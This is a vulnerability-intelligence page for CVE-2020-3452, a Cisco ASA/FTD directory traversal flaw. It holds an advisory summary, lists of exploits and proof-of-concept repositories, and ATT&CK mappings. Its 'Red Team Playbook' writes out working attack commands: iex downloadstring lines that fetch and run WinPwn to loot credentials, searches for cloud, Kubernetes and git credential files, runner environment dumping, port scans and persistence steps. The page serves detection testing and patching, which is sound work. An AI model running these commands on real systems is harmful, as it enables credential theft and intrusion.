CVE-2020-3452

HIGH CISA KEV EXPLOIT POC TTE 1d Pub 22/07 Upd 21/10

Overview

This vulnerability is a directory traversal flaw in the web services interface of Cisco Adaptive Security Appliance (ASA) Software and Cisco Firepower Threat Defense (FTD) Software. It arises from insufficient input validation of URLs in HTTP requests processed by the affected devices. The flaw specifically impacts the web services file system component, which is enabled when WebVPN or AnyConnect features are configured on the device.

Vulnerability Description

A vulnerability in the web services interface of Cisco Adaptive Security Appliance (ASA) Software and Cisco Firepower Threat Defense (FTD) Software could allow an unauthenticated, remote attacker to conduct directory traversal attacks and read sensitive files on a targeted system. The vulnerability is due to a lack of proper input validation of URLs in HTTP requests processed by an affected device. An attacker could exploit this vulnerability by sending a crafted HTTP request containing directory traversal character sequences to an affected device. A successful exploit could allow the attacker to view arbitrary files within the web services file system on the targeted device. The web services file system is enabled when the affected device is configured with either WebVPN or AnyConnect features. This vulnerability cannot be used to obtain access to ASA or FTD system files or underlying operating system (OS) files.

Impact

An unauthenticated remote attacker can exploit this vulnerability to read sensitive files stored within the web services file system of the targeted device. No authentication or user interaction is required to perform the directory traversal attack. The exposed files may contain confidential configuration data or user information, potentially leading to information disclosure and aiding further attacks against the network perimeter. However, system or underlying OS files remain inaccessible, limiting the scope to file disclosure within the web services context.

Solution

Cisco has released security updates for Adaptive Security Appliance (ASA) Software and Firepower Threat Defense (FTD) Software addressing this vulnerability. Administrators should apply the patches as detailed in the Cisco Security Advisory available at https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-asaftd-ro-path-KJuQhB86. The advisory contains version-specific fixes and recommended upgrade paths. No alternative workarounds are provided; timely patching is the primary mitigation step.

EPSS vs KEV Prediction — Evolution (30 days)

Affected Products (12)

Vendor Product Version CPE
cisco Cisco Adaptive Security Appliance Software All cpe:2.3:o:cisco:adaptive_security_appliance_software:*:*:*:*:*:*:*:*
cisco Cisco Adaptive Security Appliance Software All cpe:2.3:o:cisco:adaptive_security_appliance_software:*:*:*:*:*:*:*:*
cisco Cisco Adaptive Security Appliance Software All cpe:2.3:o:cisco:adaptive_security_appliance_software:*:*:*:*:*:*:*:*
cisco Cisco Adaptive Security Appliance Software All cpe:2.3:o:cisco:adaptive_security_appliance_software:*:*:*:*:*:*:*:*
cisco Cisco Adaptive Security Appliance Software All cpe:2.3:o:cisco:adaptive_security_appliance_software:*:*:*:*:*:*:*:*
cisco Cisco Adaptive Security Appliance Software All cpe:2.3:o:cisco:adaptive_security_appliance_software:*:*:*:*:*:*:*:*
cisco Cisco Adaptive Security Appliance Software All cpe:2.3:o:cisco:adaptive_security_appliance_software:*:*:*:*:*:*:*:*
cisco Cisco Firepower Threat Defense All cpe:2.3:a:cisco:firepower_threat_defense:*:*:*:*:*:*:*:*
cisco Cisco Firepower Threat Defense All cpe:2.3:a:cisco:firepower_threat_defense:*:*:*:*:*:*:*:*
cisco Cisco Firepower Threat Defense All cpe:2.3:a:cisco:firepower_threat_defense:*:*:*:*:*:*:*:*
cisco Cisco Firepower Threat Defense All cpe:2.3:a:cisco:firepower_threat_defense:*:*:*:*:*:*:*:*
cisco Cisco Firepower Threat Defense All cpe:2.3:a:cisco:firepower_threat_defense:*:*:*:*:*:*:*:*
Warning: The exploits and proof-of-concept (PoC) code listed below are sourced from third-party public repositories. CSURFACE assumes no responsibility for the content, accuracy, or safety of these resources. Use at your own risk. Learn more

ExploitDB (3)

Title Author Type Platform Date Link
Cisco ASA and FTD 9.6.4.42 - Path Traversal 3ndG4me webapps hardware - View
Cisco Adaptive Security Appliance Software 9.11 - Local File Inclusion 0xmmnbassel webapps hardware - View
Cisco ASA 9.14.1.10 and FTD 6.6.0.1 - Path Traversal (2) Freakyclown webapps hardware - View

GitHub PoCs (23)

Repository Author Stars Forks Date Link
darklotuskdb/CISCO-CVE-2020-3452-Scanner-Exploiter
CISCO CVE-2020-3452 Scanner & Exploiter
darklotuskdb 98 25 2021-01-05 View
3ndG4me/CVE-2020-3452-Exploit
Just basic scanner abusing CVE-2020-3452 to enumerate the standard files accessible in the Web Directory of the CISCO AS...
3ndG4me 24 13 2020-09-28 View
cygenta/CVE-2020-3452
cygenta 26 9 2020-12-13 View
PR3R00T/CVE-2020-3452-Cisco-Scanner
CVE-2020-3452 Cisco ASA Scanner -unauth Path Traversal Check
PR3R00T 25 6 2020-07-24 View
0x5ECF4ULT/CVE-2020-3452
CVE-2020-3452 exploit
0x5ECF4ULT 23 5 2020-08-01 View
murataydemir/CVE-2020-3452
[CVE-2020-3452] Cisco Adaptive Security Appliance (ASA) & Cisco Firepower Threat Defense (FTD) Web Service Read-Only Dir...
murataydemir 8 6 2020-08-13 View
fuzzlove/Cisco-ASA-FTD-Web-Services-Traversal
CVE-2020-3452 - Cisco Adaptive Security Appliance (ASA) Software and Cisco Firepower Threat Defense (FTD) traversal
fuzzlove 6 2 2021-02-03 View
grim3/CVE-2020-3452
CVE-2020-3452
grim3 4 3 2020-11-18 View
foulenzer/CVE-2020-3452
Little, stupid python validator(?) for CVE-2020-3452 on CISCO devices.
foulenzer 3 1 2020-07-25 View
faisalfs10x/Cisco-CVE-2020-3452-shodan-scanner
simple bash script of CVE-2020-3452 Cisco ASA / Firepower Read-Only Path Traversal Vulnerability checker
faisalfs10x 2 2 2021-02-04 View
Gh0st0ne/http-vuln-cve2020-3452.nse
CVE-2020-3452 : Cisco ASA and FTD Unauthorized Remote File Reading Nmap NSE Script
Gh0st0ne 0 4 2020-07-29 View
mr-r3b00t/CVE-2020-3452
mr-r3b00t 0 3 2020-07-24 View
XDev05/CVE-2020-3452-PoC
XDev05 2 0 2020-07-24 View
Loneyers/cve-2020-3452
unauth file read in cisco asa & firepower.
Loneyers 2 0 2020-07-24 View
paran0id34/CVE-2020-3452
CVE-2020-3452 - directory traversal in Cisco ASA and Cisco Firepower Threat Defense
paran0id34 1 0 2020-08-03 View
ludy-dev/Cisco-ASA-LFI
(CVE-2020-3452) Cisco Adaptive Security Appliance Software - Local File Inclusion Vuln Test sciript
ludy-dev 1 0 2020-08-31 View
Aviksaikat/CVE-2020-3452
Test vulnerability of CVE-2020-3452
Aviksaikat 1 0 2021-11-03 View
Cappricio-Securities/CVE-2020-3452
Cisco Adaptive Security Appliance (ASA)/Firepower Threat Defense (FTD) - Local File Inclusion
Cappricio-Securities 1 0 2024-05-25 View
curtishoughton/CVE-2020-3452-Cisco-Python-Scanner
Safe Python scanner for CVE-2020-3452 (Cisco ASA/FTD WebVPN Directory Traversal)
curtishoughton 0 0 2026-05-16 View
sujaygr8/CVE-2020-3452
sujaygr8 0 0 2021-06-10 View
Veids/CVE-2020-3452_auto
Veids 0 0 2022-01-10 View
iveresk/cve-2020-3452
Just proof of concept for Cisco CVE-2020-3452. Using external or internal file base.
iveresk 0 0 2022-05-07 View
abrewer251/CVE-2020-3452_Cisco_ASA_PathTraversal
Proof-of-concept script for CVE-2020-3452 — Cisco ASA/FTD Path Traversal vulnerability. Supports automated extraction of...
abrewer251 0 0 2025-09-23 View
Exploited in Wild CONFIRMED
Ransomware NOT ASSOCIATED
Attacker Interest VERY HIGH
Sightings Some sightings

Threat Feed

33 events
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2021-11-03
Added to CISA KEV Catalog

CISA confirmed active exploitation — added to Known Exploited Vulnerabilities catalog

2020-07-24
PoC Published (23 GitHub repositories)

Proof-of-concept code is publicly available for this vulnerability

Exploit Published (3 ExploitDB, 0 Metasploit)

Public exploit code is available for this vulnerability

Likely Kill Chain

Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.

Applicable Out of scope
Initial Access
TA0001
Execution
TA0002
Persistence
TA0003
Priv. Escalation
TA0004
Defense Evasion
TA0005
Credential Access
TA0006
Lateral Movement
TA0008
Collection
TA0009
Impact
TA0040

Kill chain derived from the ML classifier.

Attack Vectors ML

Path Traversal
100% path_traversal
Improper Input Validation
58% input_validation

MITRE ATT&CK Techniques (6)

The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.

ID Name Stage Tactics Platforms Link
T1190 Exploit Public-Facing Application Initial Access initial-access Containers, ESXi, IaaS, Linux, macOS, Network Devices, Windows
T1059 Command and Scripting Interpreter Kill Chain execution ESXi, IaaS, Identity Provider, Linux, macOS, Network Devices, Office Suite, Windows
T1542.001 System Firmware Kill Chain persistence, defense-evasion Windows, Network Devices
T1552.001 Credentials In Files Kill Chain credential-access Containers, IaaS, Linux, macOS, Windows
T1046 Network Service Discovery Kill Chain discovery Containers, IaaS, Linux, macOS, Network Devices, Windows
T1021.004 SSH Kill Chain lateral-movement ESXi, Linux, macOS

CAPEC Attack Patterns ML

ID Name ML Conf. Likelihood Severity Link
CAPEC-126 Path Traversal
48%
High Very High
CAPEC-79 Using Slashes in Alternate Encoding
45%
High High
CAPEC-78 Using Escaped Slashes in Alternate Encoding
40%
High High
CAPEC-64 Using Slashes and URL Encoding Combined to Bypass Validation Logic
39%
High High
CAPEC-76 Manipulating Web Input to File System Calls
37%
High Very High

Red Team Playbook

49 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.

T1021.004 ESXi - Enable SSH via PowerCLI Windows PowerShell Privileged
An adversary enables the SSH service on a ESXi host to maintain persistent access to the host and to carryout subsequent operations.
Command (PowerShell)
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false 
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
T1021.004 ESXi - Enable SSH via VIM-CMD Windows CMD
An adversary enables SSH on an ESXi host to maintain persistence and creeate another command execution interface. [Reference](https://lolesxi-project.github.io/LOLESXi/lolesxi/Binaries/vim-cmd/#enable%20service)
Command (CMD)
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
T1046 Network Service Discovery for Containers containers Shell
Attackers may try to obtain a list of services that are operating on remote hosts and local network infrastructure devices, in order to identify potential vulnerabilities that can be exploited through remote software attacks. They typically use tools to conduct port and...
Command (Shell)
docker build -t t1046 $PathToAtomicsFolder/T1046/src/
docker run --name t1046_container --rm -d -t t1046
docker exec t1046_container /scan.sh
T1046 Port Scan Linux, macOS Bash
Scan ports to check for listening ports. Upon successful execution, sh will perform a network connection against a single host (192.168.1.1) and determine what ports are open in the range of 1-65535. Results will be via stdout.
Command (Bash)
for port in {1..65535}; do (2>/dev/null echo >/dev/tcp/#{host}/$port) && echo port $port is open ; done
T1046 Port Scan NMap for Windows Windows PowerShell Privileged
Scan ports to check for listening ports for the local host 127.0.0.1
Command (PowerShell)
nmap #{host_to_scan}
T1046 Port Scan Nmap Linux, macOS Shell Privileged
Scan ports to check for listening ports with Nmap. Upon successful execution, sh will utilize nmap, telnet, and nc to contact a single or range of addresses on port 80 to determine if listening. Results will be via stdout.
Command (Shell)
sudo nmap -sS #{network_range} -p #{port}
telnet #{host} #{port}
nc -nv #{host} #{port}
T1046 Port Scan using nmap (Port range) Linux, macOS Shell Privileged
Scan multiple ports to check for listening ports with nmap
Command (Shell)
nmap -Pn -sV -p #{port_range} #{host}
T1046 Port Scan using python Windows PowerShell
Scan ports to check for listening ports with python
Command (PowerShell)
python "#{filename}" -i #{host_ip}
T1046 Port-Scanning /24 Subnet with PowerShell Windows PowerShell
Scanning common ports in a /24 subnet. If no IP address for the target subnet is specified the test tries to determine the attacking machine's "primary" IPv4 address first and then scans that address with a /24 netmask. The connection attempts to use a timeout parameter in...
Command (PowerShell)
$ipAddr = "#{ip_address}"
if ($ipAddr -like "*,*") {
    $ip_list = $ipAddr -split ","
    $ip_list = $ip_list.ForEach({ $_.Trim() })
    Write-Host "[i] IP Address List: $ip_list"

    $ports = #{port_list}

    foreach ($ip in $ip_list) {
        foreach ($port in $ports) {
            Write-Host "[i] Establishing connection to: $ip : $port"
            try {
                $tcp = New-Object Net.Sockets.TcpClient
                $tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
            } catch {}
            if ($tcp.Connected) {
                $tcp.Close()
                Write-Host "Port $port is open on $ip"
            }
        }
    }
} elseif ($ipAddr -notlike "*,*") {
    if ($ipAddr -eq "") {
        # Assumes the "primary" interface is shown at the top
        $interface = Get-NetIPInterface -AddressFamily IPv4 -ConnectionState Connected | Select-Object -ExpandProperty InterfaceAlias -First 1
        Write-Host "[i] Using Interface $interface"
        $ipAddr = Get-NetIPAddress -AddressFamily IPv4 -InterfaceAlias $interface | Select-Object -ExpandProperty IPAddress
    }
    Write-Host "[i] Base IP-Address for Subnet: $ipAddr"
    $subnetSubstring = $ipAddr.Substring(0, $ipAddr.LastIndexOf('.') + 1)
    # Always assumes /24 subnet
    Write-Host "[i] Assuming /24 subnet. scanning $subnetSubstring'1' to $subnetSubstring'254'"

    $ports = #{port_list}
    $subnetIPs = 1..254 | ForEach-Object { "$subnetSubstring$_" }

    foreach ($ip in $subnetIPs) {
        foreach ($port in $ports) {
            try {
                $tcp = New-Object Net.Sockets.TcpClient
                $tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
            } catch {}
            if ($tcp.Connected) {
                $tcp.Close()
                Write-Host "Port $port is open on $ip"
            }
        }
    }
} else {
    Write-Host "[Error] Invalid Inputs"
    exit 1
}
T1046 Remote Desktop Services Discovery via PowerShell Windows PowerShell Privileged
Availability of remote desktop services can be checked using get- cmdlet of PowerShell
Command (PowerShell)
Get-Service -Name "Remote Desktop Services", "Remote Desktop Configuration"
T1046 WinPwn - MS17-10 Windows PowerShell
Search for MS17-10 vulnerable Windows Servers in the domain using powerSQL function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
MS17-10 -noninteractive -consoleoutput
T1046 WinPwn - bluekeep Windows PowerShell
Search for bluekeep vulnerable Windows Systems in the domain using bluekeep function of WinPwn. Can take many minutes to complete (~600 seconds in testing on a small domain).
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
bluekeep -noninteractive -consoleoutput
T1046 WinPwn - fruit Windows PowerShell
Search for potentially vulnerable web apps (low hanging fruits) using fruit function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
fruit -noninteractive -consoleoutput
T1046 WinPwn - spoolvulnscan Windows PowerShell
Start MS-RPRN RPC Service Scan using spoolvulnscan function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
spoolvulnscan -noninteractive -consoleoutput
T1046 Windows - Port Scan using RustScan (Port list) Windows PowerShell
Scan ports on a target host using RustScan. Downloads the portable RustScan release binary and scans 127.0.0.1 by default. Uses --greppable so that nmap is not a dependency.
Command (PowerShell)
& "#{rustscan_path}" -a #{host_to_scan} --greppable -p #{port_list}
T1059 AutoIt Script Execution Windows PowerShell
An adversary may attempt to execute suspicious or malicious script using AutoIt software instead of regular terminal like powershell or cmd. Calculator will popup when the script is executed successfully.
Command (PowerShell)
Start-Process -FilePath "#{autoit_path}" -ArgumentList "#{script_path}"
T1542.001 UEFI Persistence via Wpbbin.exe File Creation Windows PowerShell Privileged
Creates Wpbbin.exe in %systemroot%. This technique can be used for UEFI-based pre-OS boot persistence mechanisms. - https://grzegorztworek.medium.com/using-uefi-to-inject-executable-files-into-bitlocker-protected-drives-8ff4ca59c94c -...
Command (PowerShell)
echo "Creating %systemroot%\wpbbin.exe"      
New-Item -ItemType File -Path "$env:SystemRoot\System32\wpbbin.exe"
T1552.001 Access Drone CI Config File Linux, macOS Shell
Find Drone CI configuration files (.drone.yml), which may contain credentials, secrets, or sensitive environment variables used in Drone CI/CD pipelines.
Command (Shell)
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
T1552.001 Access Gitlab CI Config File Linux, macOS Shell
Find GitLab CI configuration files (.gitlab-ci.yml), which may contain credentials, secrets, or sensitive environment variables.
Command (Shell)
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
T1552.001 Access Jenkinsfile Linux, macOS Shell
Find Jenkinsfiles, which may contain credentials, secrets, or sensitive environment variables used in Jenkins CI/CD pipelines.
Command (Shell)
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
T1552.001 Access Travis CI Config File Linux, macOS Shell
Find Travis CI configuration files (.travis.yml), which may contain credentials, secrets, or sensitive environment variables.
Command (Shell)
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
T1552.001 Access unattend.xml Windows CMD Privileged
Attempts to access unattend.xml, where credentials are commonly stored, within the Panther directory where installation logs are stored. If these files exist, their contents will be displayed. They are used to store credentials/answers during the unattended windows install process.
Command (CMD)
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
T1552.001 Dump GitHub Actions Runner Environment Variables from procfs Linux Bash
Locates GitHub Actions runner processes (Runner.Worker, Runner.Listener, runsvc, run.sh) and reads their environment variables from /proc/<pid>/environ, filtering for keys containing "env" or "ssh". This mirrors TeamPCP malware behavior that harvests credentials and secrets...
Command (Bash)
for pid in $(pgrep -f 'Runner.Worker|Runner.Listener|runsvc|run.sh' 2>/dev/null); do tr '\0' '\n' < /proc/$pid/environ 2>/dev/null | grep -iE 'env|ssh'; done
T1552.001 Extract Browser and System credentials with LaZagne macOS Bash Privileged
[LaZagne Source](https://github.com/AlessandroZ/LaZagne)
Command (Bash)
python2 laZagne.py all
T1552.001 Extract passwords with grep Linux, macOS Shell
Extracting credentials from files
Command (Shell)
grep -ri password #{file_path}
exit 0
T1552.001 Extracting passwords with findstr Windows PowerShell
Extracting Credentials from Files. Upon execution, the contents of files that contain the word "password" will be displayed.
Command (PowerShell)
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
T1552.001 Find .env Files Containing Application Credentials Linux, macOS Shell
Searches common web application and service directories for .env files (.env, .env.local, .env.production, .env.development, .env.staging) that may contain credentials such as API keys, database passwords, and service secrets. Adversaries targeting web servers or...
Command (Shell)
find #{file_path} -maxdepth 6 -name "#{filename}" -type f #{optional_flags} 2>/dev/null
T1552.001 Find AWS credentials Linux, macOS Shell
Find local AWS credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path} -path '*/.aws/#{filename}' -type f 2>/dev/null
T1552.001 Find Azure credentials Linux, macOS Shell
Find local Azure credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path} -path '*/.azure/#{filename}' -type f #{optional_flags} 2>/dev/null
T1552.001 Find Docker credentials Linux, macOS Shell
Find local Docker credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path} -path '*/.docker/#{filename}' -type f #{optional_flags} 2>/dev/null
T1552.001 Find GCP credentials Linux, macOS Shell
Find local Google Cloud Platform credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path} -path '*/.config/gcloud/#{filename}' -type f #{optional_flags} 2>/dev/null
T1552.001 Find HashiCorp Vault token files Linux, macOS Shell
Find HashiCorp Vault token files (~/.vault-token), which contain plaintext Vault tokens that grant access to secrets stored in Vault.
Command (Shell)
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
T1552.001 Find Kubernetes cluster configuration files Linux Shell Privileged
Find Kubernetes configuration files requiring root privileges, including the root user kubeconfig (~/.kube/config) and cluster-level configuration files in /etc/kubernetes/. These files contain API server addresses, client certificates, and bearer tokens that grant access to...
Command (Shell)
find /root -path '*/.kube/config' -type f #{optional_flags} 2>/dev/null
find /etc/kubernetes -name '*.conf' -type f #{optional_flags} 2>/dev/null
T1552.001 Find Kubernetes user configuration files Linux, macOS Shell
Find Kubernetes user configuration files (~/.kube/config), which contain API server addresses, client certificates, and bearer tokens that grant access to the Kubernetes cluster. Defaults to using / as the search path.
Command (Shell)
find #{file_path} -path '*/.kube/config' -type f #{optional_flags} 2>/dev/null
T1552.001 Find OCI credentials Linux, macOS Shell
Find local Oracle cloud credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
T1552.001 Find Terraform credential files Linux, macOS Shell
Find Terraform credential files which may contain sensitive values such as API keys, passwords, and infrastructure secrets. Searches for both terraform.tfvars and terraform.tfstate.
Command (Shell)
for filename in #{filenames}; do find #{file_path} -name "$filename" -type f #{optional_flags} 2>/dev/null; done
T1552.001 Find and Access Github Credentials Linux, macOS Shell
Find .netrc files, which store GitHub credentials in clear text, and dump their contents if found.
Command (Shell)
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
T1552.001 Find database credential files Linux, macOS Shell
Find user-level database credential files. Examples include ~/.pgpass, ~/.my.cnf, and ~/.mongorc.js.
Command (Shell)
for filename in #{filenames}; do
  find #{file_path} -name "$filename" -type f #{optional_flags} 2>/dev/null
done
T1552.001 Find npm registry credential files Linux, macOS Shell
Find .npmrc files, which may contain plaintext npm registry authentication tokens.
Command (Shell)
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
T1552.001 Find system database configuration files Linux Shell Privileged
Find system-level database configuration files (/etc/mysql/my.cnf, /etc/redis/redis.conf) which may contain credentials. Requires root privileges.
Command (Shell)
find /etc/mysql -name 'my.cnf' -type f #{optional_flags} 2>/dev/null
find /etc/redis -name 'redis.conf' -type f #{optional_flags} 2>/dev/null
T1552.001 List Credential Files via Command Prompt Windows CMD Privileged
Via Command Prompt,list files where credentials are stored in Windows Credential Manager
Command (CMD)
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
T1552.001 List Credential Files via PowerShell Windows PowerShell Privileged
Via PowerShell,list files where credentials are stored in Windows Credential Manager
Command (PowerShell)
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
T1552.001 Search for Git Credential Files Linux, macOS Shell
Searches the specified directory for a git credential file, which may contain plaintext credentials, access tokens, or credential helper configurations. Example files include .git-credentials and .gitconfig.
Command (Shell)
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
T1552.001 WinPwn - Loot local Credentials - AWS, Microsoft Azure, and Google Compute credentials Windows PowerShell
Loot local Credentials - AWS, Microsoft Azure, and Google Compute credentials technique via function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive  
T1552.001 WinPwn - SessionGopher Windows PowerShell
Launches SessionGopher on this system via WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
T1552.001 WinPwn - Snaffler Windows PowerShell
Check Domain Network-Shares for cleartext passwords using Snaffler function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
T1552.001 WinPwn - passhunt Windows PowerShell
Search for Passwords on this system using passhunt via WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
T1552.001 WinPwn - powershellsensitive Windows PowerShell
Check Powershell event logs for credentials or other sensitive information via winpwn powershellsensitive function.
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
T1552.001 WinPwn - sensitivefiles Windows PowerShell
Search for sensitive files on this local system using the SensitiveFiles function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput

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References (7)

Title Tags URL
nvd.nist.gov
NVD reference
https://nvd.nist.gov/vuln/detail/CVE-2020-3452
tools.cisco.com
GitHub CVE vendor-advisory x_refsource_CISCO
https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-asaftd-ro-path-KJuQhB86
packetstormsecurity.com
GitHub CVE x_refsource_MISC
http://packetstormsecurity.com/files/158646/Cisco-ASA-FTD-Remote-File-Disclosure.html
packetstormsecurity.com
GitHub CVE x_refsource_MISC
http://packetstormsecurity.com/files/158647/Cisco-Adaptive-Security-Appliance-Software-9.11-Local-File-Inclusion.html
packetstormsecurity.com
GitHub CVE x_refsource_MISC
http://packetstormsecurity.com/files/159523/Cisco-ASA-FTD-9.6.4.42-Path-Traversal.html
packetstormsecurity.com
GitHub CVE x_refsource_MISC
http://packetstormsecurity.com/files/160497/Cisco-ASA-9.14.1.10-FTD-6.6.0.1-Path-Traversal.html
cisa.gov
NVD API US Government Resource
https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2020-3452